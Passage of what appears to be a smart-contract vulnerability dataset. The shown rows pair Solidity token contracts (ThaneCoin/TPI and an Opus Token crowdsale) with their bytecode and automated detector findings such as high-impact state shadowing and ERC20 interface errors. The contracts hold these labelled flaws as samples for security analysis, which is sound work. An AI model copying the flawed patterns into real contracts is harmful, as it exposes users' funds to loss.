_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowanc
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(_spender != 0x0);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] =balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* TPI TOKEN STARTS HERE */
/******************************************/
contract TPIToken is owned, TokenERC20 {
string public name = "ThaneCoin";
string public symbol = "TPI";
uint8 public decimals = 18;
uint256 public buyPrice;
uint256 public totalSupply = 91000000e18;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function TPIToken () public {
balanceOf[msg.sender] = totalSupply;
}
function () payable {
buy();
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[msg.sender]);
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) > balanceOf[_to]); // Check for overflow
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
return TokenERC20.transferFrom(_from, _to, _value);
}
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
return TokenERC20.transfer(_to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newBuyPrice Price users can buy from the contract
function setbuyPrice( uint256 newBuyPrice) onlyOwner public {
require(newBuyPrice > 0);
buyPrice = newBuyPrice;
}
function withdrawEther() onlyOwner {
require(this.balance >= 100 ether);
owner.transfer(this.balance);
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
require(msg.value > 0);
require(buyPrice > 0);
uint amount = msg.value.mul(buyPrice);
_transfer(owner, msg.sender, amount); // makes the transfers
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461011c578063095ea7b3146101aa57806318160ddd1461020457806323b872dd1461022d578063313ce567146102a657806342966c68146102d557806370a08231146103105780637362377b1461035d57806379cc6790146103725780638620410b146103cc5780638da5cb5b146103f557806395d89b411461044a5780639e6985e2146104d8578063a6f2ae3a146104fb578063a9059cbb14610505578063b414d4b614610547578063cae9ca5114610598578063dd62ed3e14610635578063e724529c146106a1578063f2fde38b146106e5575b61011a61071e565b005b341561012757600080fd5b61012f610785565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b557600080fd5b6101ea600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610823565b604051808215151515815260200191505060405180910390f35b341561020f57600080fd5b6102176108d5565b6040518082815260200191505060405180910390f35b341561023857600080fd5b61028c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108db565b604051808215151515815260200191505060405180910390f35b34156102b157600080fd5b6102b961094a565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e057600080fd5b6102f6600480803590602001909190505061095d565b604051808215151515815260200191505060405180910390f35b341561031b57600080fd5b610347600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab4565b6040518082815260200191505060405180910390f35b341561036857600080fd5b610370610acc565b005b341561037d57600080fd5b6103b2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd0565b604051808215151515815260200191505060405180910390f35b34156103d757600080fd5b6103df610ec2565b6040518082815260200191505060405180910390f35b341561040057600080fd5b610408610ec8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045557600080fd5b61045d610eed565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049d578082015181840152602081019050610482565b50505050905090810190601f1680156104ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104e357600080fd5b6104f96004808035906020019091905050610f8b565b005b61050361071e565b005b341561051057600080fd5b610545600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fff565b005b341561055257600080fd5b61057e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611066565b604051808215151515815260200191505060405180910390f35b34156105a357600080fd5b61061b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611086565b604051808215151515815260200191505060405180910390f35b341561064057600080fd5b61068b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611200565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106e3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611225565b005b34156106f057600080fd5b61071c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134a565b005b6000803411151561072e57600080fd5b6000600a5411151561073f57600080fd5b610754600a543461146a90919063ffffffff16565b90506107826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633836114a5565b50565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081b5780601f106107f05761010080835404028352916020019161081b565b820191906000526020600020905b8154815290600101906020018083116107fe57829003601f168201915b505050505081565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561084a57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600b5481565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561093657600080fd5b6109418484846117a3565b90509392505050565b600960009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156109ad57600080fd5b6109ff82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195590919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a578260045461195590919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2757600080fd5b68056bc75e2d631000003073ffffffffffffffffffffffffffffffffffffffff163110151515610b5657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bce57600080fd5b565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c2057600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cab57600080fd5b610cfd82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcf82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195590919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e648260045461195590919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f835780601f10610f5857610100808354040283529160200191610f83565b820191906000526020600020905b815481529060010190602001808311610f6657829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe657600080fd5b600081111515610ff557600080fd5b80600a8190555050565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561105857600080fd5b611062828261196e565b5050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000808490506110968585610823565b156111f7578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611190578082015181840152602081019050611175565b50505050905090810190601f1680156111bd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111de57600080fd5b5af115156111eb57600080fd5b505050600191506111f8565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128057600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a557600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156113cb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561142757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600084141561147f576000915061149e565b828402905082848281151561149057fe5b0414151561149a57fe5b8091505b5092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156114cb57600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561152457600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561157157600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160382600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197d90919063ffffffff16565b11151561160f57600080fd5b61166181600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f681600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197d90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561183057600080fd5b6118bf82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195590919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194a8484846114a5565b600190509392505050565b600082821115151561196357fe5b818303905092915050565b6119793383836114a5565b5050565b600080828401905083811015151561199157fe5b80915050929150505600a165627a7a72305820cacebaf9fb50fb33b3f6455045e8859793a392cc77c3ae1eb532fa569b43f1330029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,209 |
0x4355fc160f74328f9b383df2ec589bb3dfd82ba0
|
pragma solidity ^0.4.8;
/**
* Math operations with safety checks
* By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
if(!(a == 0 || c / a == b)) throw;
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
if(!(b <= a)) throw;
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
if(!(c >= a)) throw;
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value); }
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// Based in part on code by Open-Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
// Based in part on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
contract OpusToken is ERC23StandardToken {
string public constant name = "Opus Token";
string public constant symbol = "OPT";
uint256 public constant decimals = 18;
address public multisig=address(0x1426c1f91b923043F7C5FbabC6e369e7cBaef3f0); //multisig wallet, to which all contributions will be sent
address public foundation; //owner address
address public candidate; //owner candidate in 2-phase ownership transfer
mapping (address => uint256) contributions; //keeps track of ether contributions in Wei of each contributor address
uint256 public startBlock = 4023333; //pre-crowdsale start block (30min ealier than estimate)
uint256 public preEndBlock = 4057233; //pre-crowdsale end block(1h after estimated time)
uint256 public phase1StartBlock = 4066633; //Crowdsale start block (1h earlier)
uint256 public phase1EndBlock = 4100233; //Week 1 end block (estimate)
uint256 public phase2EndBlock = 4133833; //Week 2 end block (estimate)
uint256 public phase3EndBlock = 4201433; //Week 4 end block (2h later)
uint256 public endBlock = 4201433; //whole crowdsale end block
uint256 public crowdsaleTokenSupply = 900000000 * (10**18); //Amount of tokens for sale during crowdsale
uint256 public ecosystemTokenSupply = 100000000 * (10**18); //Tokens for supporting the Opus eco-system, e.g. purchasing music licenses, artist bounties, etc.
uint256 public foundationTokenSupply = 600000000 * (10**18); //Tokens distributed to the Opus foundation, developers and angel investors
uint256 public crowdsaleTokenSold = 0; //Keeps track of the amount of tokens sold during the crowdsale
uint256 public presaleEtherRaised = 0; //Keeps track of the Ether raised during the crowdsale
uint256 public transferLockup = 9600;
bool public halted = false; //Halt crowdsale in emergency
event Halt(); //Halt event
event Unhalt(); //Unhalt event
modifier onlyFoundation() {
//only do if call is from owner modifier
if (msg.sender != foundation) throw;
_;
}
modifier crowdsaleTransferLock() {
// lockup during and after 48h of end of crowdsale
if (block.number <= endBlock.add(transferLockup)) throw;
_;
}
modifier whenNotHalted() {
// only do when not halted modifier
if (halted) throw;
_;
}
//Constructor: set multisig crowdsale recipient wallet address and fund the foundation
//Initialize total supply and allocate ecosystem & foundation tokens
function OpusToken() {
foundation = msg.sender;
totalSupply = ecosystemTokenSupply.add(foundationTokenSupply);
balances[foundation] = totalSupply;
}
//Fallback function when receiving Ether.
function() payable {
buy();
}
//Halt ICO in case of emergency.
function halt() onlyFoundation {
halted = true;
Halt();
}
function unhalt() onlyFoundation {
halted = false;
Unhalt();
}
function buy() payable {
buyRecipient(msg.sender);
}
//Allow addresses to buy token for another account
function buyRecipient(address recipient) public payable whenNotHalted {
if(msg.value == 0) throw;
if(!(preCrowdsaleOn()||crowdsaleOn())) throw;//only allows during presale/crowdsale
if(contributions[recipient].add(msg.value)>perAddressCap()) throw;//per address cap
uint256 tokens = msg.value.mul(returnRate()); //decimals=18, so no need to adjust for unit
if(crowdsaleTokenSold.add(tokens)>crowdsaleTokenSupply) throw;//max supply limit
balances[recipient] = balances[recipient].add(tokens);
totalSupply = totalSupply.add(tokens);
presaleEtherRaised = presaleEtherRaised.add(msg.value);
contributions[recipient] = contributions[recipient].add(msg.value);
crowdsaleTokenSold = crowdsaleTokenSold.add(tokens);
if(crowdsaleTokenSold == crowdsaleTokenSupply){
//If crowdsale token sold out, end crowdsale
if(block.number < preEndBlock) {
preEndBlock = block.number;
}
endBlock = block.number;
}
if (!multisig.send(msg.value)) throw; //immediately send Ether to multisig address
Transfer(this, recipient, tokens);
}
//Burns the specified amount of tokens from the foundation
//Used to burn unspent funds in foundation DAO
function burn(uint256 _value) external onlyFoundation returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, address(0), _value);
return true;
}
//2-phase ownership transfer;
//prevent transferring ownership to non-existent addresses by accident.
function proposeFoundationTransfer(address newFoundation) external onlyFoundation {
//propose new owner
candidate = newFoundation;
}
function cancelFoundationTransfer() external onlyFoundation {
candidate = address(0);
}
function acceptFoundationTransfer() external {
//new owner accept transfer to complete transfer
if(msg.sender != candidate) throw;
foundation = candidate;
candidate = address(0);
}
//Allow to change the recipient multisig address
function setMultisig(address addr) external onlyFoundation {
if (addr == address(0)) throw;
multisig = addr;
}
function transfer(address _to, uint256 _value, bytes _data) public crowdsaleTransferLock returns (bool success) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value) public crowdsaleTransferLock {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public crowdsaleTransferLock {
super.transferFrom(_from, _to, _value);
}
//Return rate of token against ether.
function returnRate() public constant returns(uint256) {
if (block.number>=startBlock && block.number<=preEndBlock) return 8888; //Pre-crowdsale
if (block.number>=phase1StartBlock && block.number<=phase1EndBlock) return 8000; //Crowdsale phase1
if (block.number>phase1EndBlock && block.number<=phase2EndBlock) return 7500; //Phase2
if (block.number>phase2EndBlock && block.number<=phase3EndBlock) return 7000; //Phase3
}
//per address cap in Wei: 1000 ether + 1% of ether received at the given time.
function perAddressCap() public constant returns(uint256) {
uint256 baseline = 1000 * (10**18);
return baseline.add(presaleEtherRaised.div(100));
}
function preCrowdsaleOn() public constant returns (bool) {
//return whether presale is on according to block number
return (block.number>=startBlock && block.number<=preEndBlock);
}
function crowdsaleOn() public constant returns (bool) {
//return whether crowdsale is on according to block number
return (block.number>=phase1StartBlock && block.number<=endBlock);
}
function getEtherRaised() external constant returns (uint256) {
//getter function for etherRaised
return presaleEtherRaised;
}
function getTokenSold() external constant returns (uint256) {
//getter function for crowdsaleTokenSold
return crowdsaleTokenSold;
}
}
|
0x606060405236156101fe5763ffffffff60e060020a60003504166302dd92c4811461020f57806306fdde0314610230578063083c6323146102bd578063095ea7b3146102dc57806311a4c710146102fa578063145538ea14610310578063152af8f91461032f578063162790551461033e57806318160ddd1461036b57806319af6f481461038a57806323b872dd146103a9578063313ce567146103cd57806341fbb050146103ec57806342966c681461041557806344acb8da1461043957806344b49958146104585780634783c35b1461047757806347dd5172146104a057806348cd4cb1146104bf578063575d462a146104de5780635d6cb67e146104fd5780635ed7ca5b1461051c5780636649dfd51461052b5780636aa68a151461054c5780636c8381f81461056b57806370a08231146105945780637c2ffbb3146105bf578063812ba50c146105de57806384b35fbb146105fd578063899ecf2b1461061857806394d773631461063757806395d89b4114610656578063a6f2ae3a146106e3578063a9059cbb146106ed578063b9b8af0b1461070b578063be45fd621461072c578063c0ee0b8a146107a0578063c24fe21b146107cb578063cb3e64fd146107ea578063dd62ed3e146107f9578063e876bdef1461082a578063f2a6941714610849578063f3283fba14610858578063fb70f76514610873575b61020d5b61020a610892565b5b565b005b346100005761021c61089e565b604080519115158252519081900360200190f35b346100005761023d6108ba565b604080516020808252835181830152835191928392908301918501908083838215610283575b80518252602083111561028357601f199092019160209182019101610263565b505050905090810190601f1680156102af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34610000576102ca6108f1565b60408051918252519081900360200190f35b346100005761020d600160a060020a03600435166024356108f7565b005b61020d600160a060020a0360043516610996565b005b34610000576102ca610ba8565b60408051918252519081900360200190f35b346100005761020d610bae565b005b346100005761021c600160a060020a0360043516610bf1565b604080519115158252519081900360200190f35b34610000576102ca610c12565b60408051918252519081900360200190f35b34610000576102ca610c18565b60408051918252519081900360200190f35b346100005761020d600160a060020a0360043581169060243516604435610c1e565b005b34610000576102ca610c50565b60408051918252519081900360200190f35b34610000576103f9610c55565b60408051600160a060020a039092168252519081900360200190f35b346100005761021c600435610c64565b604080519115158252519081900360200190f35b34610000576102ca610d14565b60408051918252519081900360200190f35b34610000576102ca610d1a565b60408051918252519081900360200190f35b34610000576103f9610d20565b60408051600160a060020a039092168252519081900360200190f35b34610000576102ca610d2f565b60408051918252519081900360200190f35b34610000576102ca610d69565b60408051918252519081900360200190f35b34610000576102ca610d6f565b60408051918252519081900360200190f35b34610000576102ca610d75565b60408051918252519081900360200190f35b346100005761020d610d7b565b005b346100005761021c610dd0565b604080519115158252519081900360200190f35b34610000576102ca610dec565b60408051918252519081900360200190f35b34610000576103f9610df2565b60408051600160a060020a039092168252519081900360200190f35b34610000576102ca600160a060020a0360043516610e01565b60408051918252519081900360200190f35b34610000576102ca610e20565b60408051918252519081900360200190f35b34610000576102ca610eac565b60408051918252519081900360200190f35b346100005761020d600160a060020a0360043516610eb2565b005b34610000576102ca610eed565b60408051918252519081900360200190f35b34610000576102ca610ef3565b60408051918252519081900360200190f35b346100005761023d610efa565b604080516020808252835181830152835191928392908301918501908083838215610283575b80518252602083111561028357601f199092019160209182019101610263565b505050905090810190601f1680156102af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020d610892565b005b346100005761020d600160a060020a0360043516602435610f31565b005b346100005761021c610f61565b604080519115158252519081900360200190f35b3461000057604080516020600460443581810135601f810184900484028501840190955284845261021c948235600160a060020a0316946024803595606494929391909201918190840183828082843750949650610f6a95505050505050565b604080519115158252519081900360200190f35b346100005761020d60048035600160a060020a0316906024803591604435918201910135610fa4565b005b34610000576102ca610faf565b60408051918252519081900360200190f35b346100005761020d610fb5565b005b34610000576102ca600160a060020a0360043581169060243516611007565b60408051918252519081900360200190f35b34610000576102ca611034565b60408051918252519081900360200190f35b346100005761020d61103b565b005b346100005761020d600160a060020a036004351661106a565b005b34610000576102ca6110ba565b60408051918252519081900360200190f35b61020a33610996565b5b565b600060095443101580156108b45750600d544311155b90505b90565b60408051808201909152600a81527f4f70757320546f6b656e00000000000000000000000000000000000000000000602082015281565b600d5481565b801580159061092a5750600160a060020a03338116600090815